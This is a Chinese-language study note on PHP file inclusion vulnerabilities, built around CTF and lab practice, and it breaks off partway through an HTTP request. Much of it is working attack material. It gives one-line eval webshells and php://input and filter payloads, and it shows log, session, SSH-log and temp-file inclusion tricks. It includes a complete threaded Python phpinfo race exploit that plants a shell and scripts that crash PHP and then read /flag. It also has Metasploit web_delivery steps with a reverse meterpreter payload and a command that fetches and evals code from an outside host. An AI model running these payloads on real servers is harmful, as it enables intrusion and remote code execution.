# file include

来自 pikachu 的介绍:

文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在 PHP 中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。

大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个 “意想不到” 的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:
**1. 本地文件包含漏洞:** 仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
**2. 远程文件包含漏洞:** 能够通过 url 地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。

因此,在 web 应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。

# PHP 伪协议

1
2
<?php 
include($_GET['file']);

文件包含函数 (php):

include

include_once

require

require_one

nclude 与 require 基本是相同的,除了错误处理方面:

  • include (),只生成警告(E_WARNING),并且脚本会继续

  • require (),会生成致命错误(E_COMPILE_ERROR)并停止脚本

  • include_once () 与 require ()_once (),如果文件已包含,则不会包含,其他特性如上

直接包含 php,html 文件会直接执行,对于 txt 文件或者 linux 下普通文件,可以直接读取

对于 php 伪协议,使用时需要注意 allow_url_open 和 allow_url_include ,有些伪协议会对此有限制,有些没有

# 1.file 协议

allow_url_fopen :off/on

allow_url_include:off/on

?file=file://D:/soft/phpStudy/WWW/phpcode.txt

# 2.php://filter

读取源代码并进行 base64 编码输出,不然会直接当做 php 代码执行就看不到源代码内容了。

allow_url_open=on/off

allow_url_include=on/off

?file=php://filter/read=convert.base64-encode/resource=web1.php

?file=php://filter/write=convert.base64-decode/resource=web1.php

# 3.php://input

可以访问请求的原始数据的只读流,将 post 请求中的数据作为 PHP 代码执行。http 方法为 get 时并不影响 input 接收 post 参数

allow_url_open=on/off

allow_url_include=on

当然也可以在 post 中写入一句话木马 <?php fputs(fopen('shell.php','w'),'<?php eval($_POST["cmd"]); ?>');?>

可以配合 file_get_contents 读文件或者 system 执行系统命令,或者写马

# 4.zip://,bzip2://, zlib://

allow_url_open=on/off

allow_url_include=on/off

# 4.1 zip://

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt

如果网站限制,可以将后缀改为 jgp,仍可以解析

需要将 #进行 url 编码

# 4.2 bzip2://

?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

# 4.3 zlib://

?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

# 5.data://

allow_url_open=on

allow_url_include=on

?file=data://text/plain,<?php phpinfo()?>

?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

img

# 一些小题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://filter") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
if ($file!="http://www.baidu.com") echo "tips:flag在当前目录的某个文件中";
include($file);
}else{
echo '<a href="?file=http://www.baidu.com">click go baidu</a>';
}
?>

//file=php://input <post> <?php system('dir'); ?>
1
2
3
4
5
6
7
8
9
10
11
<?php
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}

//a=php://input <post> I want flag
//file_get_contents可以读取input流
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if (!$file) echo '<a href="?file=upload">upload?</a>';
if(stristr($file,"input")||stristr($file, "filter")||stristr($file,"data")/*||stristr($file,"phar")*/){
echo "hack?";
exit();
}else{
include($file);
}
?>
<!-- flag在当前目录的某个文件中 -->

//?file=php://filter/read=convert.base64-encode/resource=flag.php

# CGI、FAST CGI,PHP FPM

CGI: 指的是 Web 服务器与 web 应用程序之间的一种数据交换协议。

FastCGI: 类似于 CGI,Fast-CGI 也是一种通信协议,但是它在 CGI 的基础上,在效率上做了一些优化。只有非静态文件才会被 fastcgi 处理

PHP-CGI: PHP-CGI 是 PHP 对 Web 服务器提供的 CGI 协议的接口程序,即实现了 CGI 协议的 php 解释器程序。它能解析 PHP,也能通过 CGI 与 web 服务器通信。

PHP-FPM: 是 PHP 对 Web 服务器提供的 FastCGI 协议的接口程序,即在实现解释 PHP 脚本和与 web 服务器通讯的基础上,额外还提供了相对进程调度、任务管理功能。fastcgi process manager

image-20221105160625653

Apache/nginx 加载 php:

1. 通过 so 模块加载

2. 通过 fpm

3. 通过 cgi

最佳方式是 apache/Nginx + fastcgi + php fpm

image-20221105161200210

因此 PHP-fpm 是一个 fastcgi 进程管理器,是对于 fastcgi 协议的具体体现

web 中间件和 phpfpm 的通信方式有两种

1.socket

2.TCP 模式

fastcgi 协议由多个 recode 组成,recode 由 header 和 body 组成,中间件将这两种封装好发送给后端

可见,一个 FastCGI record 结构最大支持的 body 大小是 2^16,也就是 65536 字节

recode 中有 type 字段,type 有七种,第 4 种 type 是给 fmp 传递环境参数时表名数据为 key-value 对

type=4 时,nginx 会将请求分为 key-value 形式,fpm 收到中间件发来的 key-value,最终执行 key 为 script_name,该 value 为你请求的路径

image-20221105164011830

image-20221105164219506

服务器中间件和后端语言(PHP-FPM)通信,第一个数据包就是 type 为 1 的 record,后续互相交流,发送 type 为 4、5、6、7 的 record,结束时发送 type 为 2、3 的 record

当后端语言(PHP-FPM)拿到由 Nginx 发过来的 FastCGl 数据包后,进行解析,得到上述这些环境变量。然后执行 SCRIPT_FILENAME 的值指向的 PHP 文件,也就是 /var/www/html/index.php

php-Cgi:

1) Cgi 协议的实现,用来解释 php 请求;过程: php 请求 ->php-Cgi 读取并解析 php.ini 文件,初始化环境 -> 根据请求参数,返回处理结果

2)单个进程只能处理一个请求,每一个进程,都需读取 php.ini 进行解析,效率较低

3)修改完 php.ini 文件,启动 php-Cgi 程序不会生效,无法平滑重启

# 日志包含

一般日志位置 /var/log/httpd/access.log

将木马写到日志中,知道日志文件名与路径,存在文件包含漏洞

首先在 url 中写入自己想要执行的内容,比如 127.0.0.1/inlcude?<?php phpinfo(); ?>

但 url 中会被编码,导致无法包含

1
2
3
219.144.164.44 - - [30/Oct/2022:16:33:08 +0800] "GET /html/html/flag.php HTTP/1.1" 200 1311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 SLBrowser/7.0.0.12151 SLBChan/23"
219.144.164.44 - - [30/Oct/2022:16:33:19 +0800] "GET /html/html/flag.php?%3C?php%20phpinfo();%20?%3E HTTP/1.1" 200 1311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 SLBrowser/7.0.0.12151 SLBChan/23"

可以通过抓包,修改为未编码的形式

image-20221030163914509

1
2
3
219.144.164.44 - - [30/Oct/2022:16:38:47 +0800] "GET /html/html/flag.php?<?php phpinfo(); ?> HTTP/1.1" 200 1311 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
219.144.164.44 - - [30/Oct/2022:16:38:47 +0800] "GET /html/html/flag.php?<?php phpinfo(); ?> HTTP/1.1" 200 1311 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"

在包含日志文件即可

防止文件包含:文件名包含随机数,定期分割文件,更改日志路径

如果是 bt 面板搭建的,记得关掉 open_basedir

image-20221030165251590 image-20221030165348749

open_basedir restriction in effect. 原因与解决方法 - 知乎 (zhihu.com)

# session 包含

前置知识~:cookie 与 session,这个我在 xss 的开头讲过了

session 目录:/var/llib/php/session

文件格式:sess_sessid

知道 session 的路径,可以控制 session 文件中的内容,存在文件包含

session 常见存储路径:

  • /var/lib/php/sess_PHPSESSID
  • /var/lib/php/sess_PHPSESSID
  • /tmp/sess_PHPSESSID
  • /tmp/sessions/sess_PHPSESSID
  • session 文件格式: sess_[phpsessid] ,而 phpsessid 在发送的请求的 cookie 字段中可以看到。

# 一道 CTF 关于 session 包含的题目

页面打开之后有 login 和 register 选项,并且点击后 url 长这样:

http://1.1.1.1/index.php?action=login.php http://1.1.1.1/index.php?action=register.php

很明显,这是通过 include 不同的文件加载不同的页面

那么就有可能存在文件包含漏洞了

尝试用 php://filter 读源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//login.php
<?php
require_once('config.php');
session_start();
if($_SESSION['username']) {
header('Location: index.php');
exit;
}
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = md5($_POST['password']);

$mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);

if ($mysqli->connect_errno) {
die("could not connect to the database:\n" . $mysqli->connect_error);
}
$sql = "select password from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_password);
$stmt->execute();

$stmt->fetch();
if ($res_password == $password) {
$_SESSION['username'] = base64_encode($username);
header("location:index.php");
} else {
die("Invalid user name or password");
}
$stmt->close();
$mysqli->close();
}
else {
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//register.php
<?php

if ($_POST['username'] && $_POST['password']) {
require_once('config.php');

$username = $_POST['username'];
$password = md5($_POST['password']);

$mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
if ($mysqli->connect_errno) {
die("could not connect to the database:\n" . $mysqli->connect_error);
}
$mysqli->set_charset("utf8");
$sql = "select * from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_id, $res_username, $res_password);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows();
if($count) {
die('User name Already Exists');
} else {
$sql = "insert into user(username, password) values(?,?)";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
echo 'Register OK!<a href="index.php">Please Login</a>';
}
$stmt->close();
$mysqli->close();
} else {

?>

两个文件都是用 PDO 写的,不存在 sql 注入,config 是数据库用户名与密码,除非他的服务器允许外链,不然没用,index 就包含了两个页面

但我们注意到:

1
2
3
4
5
6
if ($res_password == $password) {
$_SESSION['username'] = base64_encode($username);
header("location:index.php");
} else {
die("Invalid user name or password");
}

这里使用了 session 来保存用户会话,php 手册中是这样描述的:

  1. PHP 会将会话中的数据设置到 $_SESSION 变量中。
  2. 当 PHP 停止的时候,它会自动读取 $_SESSION 中的内容,并将其进行序列化,然后发送给会话保存管理器来进行保存。
  3. 对于文件会话保存管理器,会将会话数据保存到配置项 session.save_path 所指定的位置。

把我们的用户名 base64 编码后放到了 session 中

那么可能存在 session 包含了,session 包含的两个条件:1. 知道物理路径与 session 名称,物理路径我们是知道的,session 名称我们可以 f12 查看 2.session 可以写入并且被包含,这一点我们也是满足的

这样我们可以注册的时候用户名写我们的 php 代码,然后通过 session 包含

但 session 中是 base64 编码后的,不能直接包含,我们需要在包含前解码,php://filter 就是个很好的解码方法

注册如下用户名: hahaha ,密码随便写,最终在数据库中的是: username|s:12:"xxxxxxx" xxx 为我们用户名的 base64 编码,12 是 base64 编码的长度

但 base64 是有特性的他必须 8 位为一组,如果不够会把后面的字符抓过来,此时 username|s:12:" 正好是 15 个字符,为了增加一个字符,我们需要扩展我们的用户名,让他 base64 之后为 100 字符以上,这样我们前 16 个字符被解码为乱码,我们的 php 被正确包含

比如: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<?php eval($_GET['aaaaaa']) ?>

然后解码,正确包含

http://1.1.1.1/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&aaaaaa=phpinfo();

防御 session:

修改 session 默认路径和名称

设置 session 文件夹权限

# 临时文件包含

当文件上传时,先存储到临时文件夹,在移动到网站目录下,我们可以通过竞争在删除之前包含,文件名通过通配符找到

1. 先上传文件

2. 通过 file 覆盖前一个文件,匹配临时文件

3. 包含临时文件

如果是自己的 phpstudy 默认是没有开启

我们需要修改 upload_tmp_dir = “C:\Windows\Temp”

然后利用文件上传产生的缓存文件进行命令执行,从而 getshell

假设我们有一个前端页面可以上传文件,后端可以接收上传的文件并进行包含,那么我们就可以利用文件上传时上传到临时目录,在删除之前通过竞争包含

我们需要解决几个问题:

1. 如何找到我们的临时文件?

通过 >,在 Windows 中 > 可以当做通配符使用,很巧,php 的临时文件长这样 php678u,那么我们可以这样匹配 php>>>

2. 即使我们访问到临时文件,他依然会删除,怎么解决?

往他网站根目录下写 php 文件,即使我们的临时文件删除了,只要在删除之前包含了,那么我们在网站根目录下的文件就会生成

<?php fputs(fopen('E:\phpstudy_pro\www\aaaaa.php','w'),'<?php phpinfo(); ?>'); ?>

3. 如何构造上传包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST /xss_location/include/windows.php HTTP/1.1
Host: 172.16.60.64
Content-Length: 481
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.16.60.64
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary163SaL5Buko78Yfw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.60.64/xss_location/include/windows.html
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=s3pod5ho262o336afdd8ljvkg7
Connection: close

------WebKitFormBoundary163SaL5Buko78Yfw
Content-Disposition: form-data; name="file"; filename="flag.txt"
Content-Type: text/plain

<?php fputs(fopen('E:\phpstudy_pro\www\aaaaa.php','w'),'<?php phpinfo(); ?>'); ?>
yes
------WebKitFormBoundary163SaL5Buko78Yfw
Content-Disposition: form-data; name="file"

C:\Windows\Temp\php<<<<
------WebKitFormBoundary163SaL5Buko78Yfw
Content-Disposition: form-data; name="upload"

upload
------WebKitFormBoundary163SaL5Buko78Yfw--

注意:下面几行是需要我们自己构造的

1
2
3
4
5
yes
------WebKitFormBoundary163SaL5Buko78Yfw
Content-Disposition: form-data; name="file"

C:\Windows\Temp\php<<<<

yes 的作用是包含成功后的提示符

name=file 是为了覆盖上一个 name=file,然后匹配临时文件

php>>>> 就是通配符了,上面解释过

记得空行的问题,如果报错尝试删除或增加空行

补充一下 windows 匹配

DOS_STAR:即 <,匹配 0 个以上的字符
DOS_QM:即 >,匹配 1 个字符
DOS_DOT:即 ",匹配点号

如果他的 php.ini 下没有设置 upload 这个东西的路径并且还有;,也就是没有设置。

那么我们也可以直接读取任意文件

其实也没必要非得文件上传了,本来文件包含后就可以读取了

临时文件包含条件:

1.php.ini 中的 upload_tmp_dir 下必须有 C:/Windows/Temp 这个路径

2. 得有写入的权限(这个默认应该都可以)

3.$_REQUEST 得有,因为他是获取表单信息的一个数组,如果没有它,那么我们就不能进行文件上传来打。

# SSH 文件包含

假设有如下文件:

1
2
3
4
5
6
7
8
<?php   
$file = $_GET['file'];  
if(isset($file))   {      
include("$file");  
}   else   {      
include("index.php");  
}  
?>

那么我们就可以包含任意文件,比如 /etc/passwd

[101.35.139.208:9999/lfi.php?file=file:///etc/passwd](http://101.35.139.208:9999/lfi.php?file=file:///etc/passwd)

image-20221031191034602

那么意味着我们其实也可以包含 ssh log

先看一眼 ssh log 里面有啥

image-20221031191351374

加入我们登录时构造这样的用户名 ssh root<?php phpinfo();?>@101.35.139.208

那么在我们的 ssh log 中就会存在以下日志

image-20221031191502317

试着包含一下?

image-20221031191635298

但是文件很大,你忍一下

记得在包含前,设置文件的权限 chmod 775 secure

也可以写马,比如

image-20221031192425893

如果报错 system() has been disabled for security reasons ,无法包含,

image-20221031192854594

把这里的 disable_function 中的你需要使用的函数去掉,重启

service php-fpm restart

web 传递 cs msf

msf

1
2
3
4
5
6
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.123
msf exploit (web_delivery)>set srvport 8081
msf exploit (web_delivery)>exploit

执行 msf 给出的命令

http://10.128.50.84:18888/lfi.php?file=./shabi.php&cmd=php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.13.133:9891/GEZgpb8cVDe', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"

image-20221031201754444

CS web delivery

image-20221101145322747

# 包含 / PROC/SELF/ENVIRON

并不能包含这东西~

1
2
[root@VM-16-11-centos CobaltStrike4.1]# ls -al /proc/self/environ 
-r-------- 1 root root 0 Nov 1 14:56 /proc/self/environ

而且不能 chmod 改变权限

1
2
[root@VM-16-11-centos CobaltStrike4.1]# chmod 755 /proc/self/environ 
chmod: changing permissions of ‘/proc/self/environ’: Operation not permitted

也不能修改特殊权限位

1
2
[root@VM-16-11-centos CobaltStrike4.1]# lsattr /proc/self/environ 
lsattr: Inappropriate ioctl for device While reading flags on /proc/self/environ

关于 chattr

1
2
3
4
5
6
7
[root@VM-16-11-centos lighthouse]# chattr +i 11111.exe 
[root@VM-16-11-centos lighthouse]# rm -rf 11111.exe
rm: cannot remove ‘11111.exe’: Operation not permitted
[root@VM-16-11-centos lighthouse]# lsattr 11111.exe
----i--------e-- 11111.exe
[root@VM-16-11-centos lighthouse]# chattr -i 11111.exe
[root@VM-16-11-centos lighthouse]# rm -rf 11111.exe

# phpinfo 文件包含

php 5.x

1
2
3
4
5
6
7
8
Configuration File (php.ini) Path	C:\Windows
Loaded Configuration File D:\BtSoft\php\54\php.ini
PHP Version 5.4.45
allow_url_fopen On On
allow_url_include On On
session.save_path D:\BtSoft\temp\session D:\BtSoft\temp\session
disable_functions no value no value
_SERVER["*********"] C:\Windows

http://127.0.0.1:18888/phpinfo.php 我们可以向 phpinfo 中 post 参数,虽然没有接收,但会生成临时文件,我们可以利用时间竞争包含

当然可以向任意 php 文件 post 文件,服务器都会将他保存到一个临时文件中,只是如果没有 phpinfo,临时文件名很难猜。然而 phpinfo 中会有文件名和路径的输出

1
2
3
4
5
6
7
8
9
10
11
import requests
from io import BytesIO
import re

files = {
'file': "<?php echo 'yanchuang is cool!';"
}
url = "http://172.16.60.64/xss_location/include/phpinfo.php"
r = requests.post(url=url, files=files, allow_redirects=False)
data = re.search("(?<=tmp_name] =&gt; ).*", r.content.decode('utf-8')).group(0)
print(data)

为了延缓删除临时文件,我们需要 post 更长的文件,通知启用大量线程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
#!/usr/bin/python
import sys
import threading
import socket
import time


def setup(host, port):
TAG = "Security Test"
PAYLOAD = """%s\r
<?php fputs(fopen('/tmp/g','w'),'<?php @eval($_POST[a]);')?>\r""" % TAG
REQ1_DATA = """-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding = "A" * 5000
REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """ + padding + """\r
HTTP_ACCEPT_LANGUAGE: """ + padding + """\r
HTTP_PRAGMA: """ + padding + """\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
# modify this to suit the LFI script
LFIREQ = """GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)


def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))
s2.connect((host, port))

s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =&gt; ")
fn = d[i + 17:i + 44]
except ValueError:
return None

s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()

if d.find(tag) != -1:
return fn


counter = 0


class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args

def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter += 1

try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()

except socket.error:
return


def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(phpinforeq)

d = ""
while True:
i = s.recv(4096)
d += i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =&gt; ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")

print "found %s at %i" % (d[i:i + 10], i)
# padded up a bit
return i + 256


def main():
print "LFI With PHPInfo()"
print "-=" * 30

if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)

try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)

port = 80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)

poolsz = 10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)

print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()

maxattempts = 1000
e = threading.Event()
l = threading.Lock()

print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()

tp = []
for i in range(0, poolsz):
tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))

for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write("\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()

print "Shuttin' down..."
for t in tp:
t.join()


if __name__ == "__main__":
main()

# LFI+php7 collapse

php 7.0-7.1.19

当不存在 phpinfo 时,可以利用 php7 的特性

http://ip/index.php?file=php://filter/string.strip_tags=/etc/passwd 导致 php 崩溃,临时文件遗留了下来

在上传时抓包,使用以上 payload 进行崩溃

接下来需要找到刚刚的临时文件

1
2
3
4
5
6
<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));

然后写 shell 包含随便搞

两种崩溃方法:

抓包时修改

先写个文件上传页面,上传时抓包,修改 url 和文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
POST /upload_file.php?file=php://filter/read=convert.base64-encode/resource=index.php HTTP/1.1
Host: 127.0.0.1:18888
Content-Length: 290
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:18888
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6O4h5F4Qzy538QaC
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:18888/file_upload.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9pji5c42u9migge868i8u083r7; ZDEDebuggerPresent=php,phtml,php3
Connection: close

------WebKitFormBoundary6O4h5F4Qzy538QaC
Content-Disposition: form-data; name="file"; filename="123.txt"
Content-Type: text/plain

<?php phpinfo(); ?>
------WebKitFormBoundary6O4h5F4Qzy538QaC
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundary6O4h5F4Qzy538QaC--

写 python 包崩溃

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
from io import BytesIO
import re
files = {
'file': BytesIO('<?php eval($_REQUEST[sky]);')
}
url = 'http://ip/index.php?file=php://filter/string.strip_tags/resource=/etc/passwd'
try:
r = requests.post(url=url, files=files, allow_redirects=False)
except:
url = 'http://ip/dir.php'
r = requests.get(url)
data = re.search(r"php[a-zA-Z0-9]{1,}", r.content).group(0)
url = "http://ip/index.php?file=/tmp/"+data
data = {
'sky':"readfile('/flag');"
}
r = requests.post(url=url,data=data)
print r.content

# docker 中文件包含

1. 包含日志文件

1
2
access.log -> /dev/stdout
error.log -> /dev/stderr

此时日志被重定向到标准输出中,不能包含

此时包含这些 Web 日志会出现 include(/dev/pts/0): failed to open stream: Permission denied 的错误,因为 PHP 没有权限包含设备文件:

远程包含因为默认不开启,所以我们也不作为一个候选项,想要 getshell 还是需要找到一个可以控制内容的文件进行包含。

2.phpinfo 文件包含

同样 post 一个大文件,然后利用时间竞争

脚本和之前的脚本类似,但更改了切片的位置

fn = d[i+17:i+31]

3.Windows 中通配符

在临时文件包含中,我们详细讲过通配符

  • DOS_STAR:即 < ,匹配 0 个以上的字符
  • DOS_QM:即 > ,匹配 1 个字符
  • DOS_DOT:即 " ,匹配点号

有了通配符,我们就可以匹配临时文件,并修改其内容

一般我们会用 fputs 和 fopen 写到临时文件中,这样临时文件即使删除,我们可以将我们的马写到其他的目录中

4.session.upload_progress

php version > 7

session.auto_start 顾名思义,如果开启这个选项,则 PHP 在接收请求的时候会自动初始化 Session,不再需要执行 session_start ()。但默认情况下,也是通常情况下,这个选项都是关闭的。

session.upload_progress 最初是 PHP 为上传进度条设计的一个功能,在上传文件较大的情况下,PHP 将进行流式上传,并将进度信息放在 Session 中(包含用户可控的值),即使此时用户没有初始化 Session,PHP 也会自动初始化 Session。

PHP 在开启了 session.upload_progress.enable 后(在包括 Docker 的大部分环境下默认是开启的),将会把用户上传文件的信息保存在 Session 中,而 PHP 的 Session 默认是保存在文件里的。

利用条件:

  • 目标环境开启了 session.upload_progress.enable 选项
  • 发送一个文件上传请求,其中包含一个文件表单和一个名字是 PHP_SESSION_UPLOAD_PROGRESS 的字段
  • 请求的 Cookie 中包含 Session ID

构造如下上传包

1
2
3
4
5
<form action="upload_file.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo(); ?>" />
<input type="submit" name="submit" value="提交">

上传抓包时设置 cookie: PHPSESSID=hahaha

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
POST /web10.php HTTP/1.1
Host: 127.0.0.1:18888
Content-Length: 426
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:18888
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfiKjPC47H7ESbbdB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
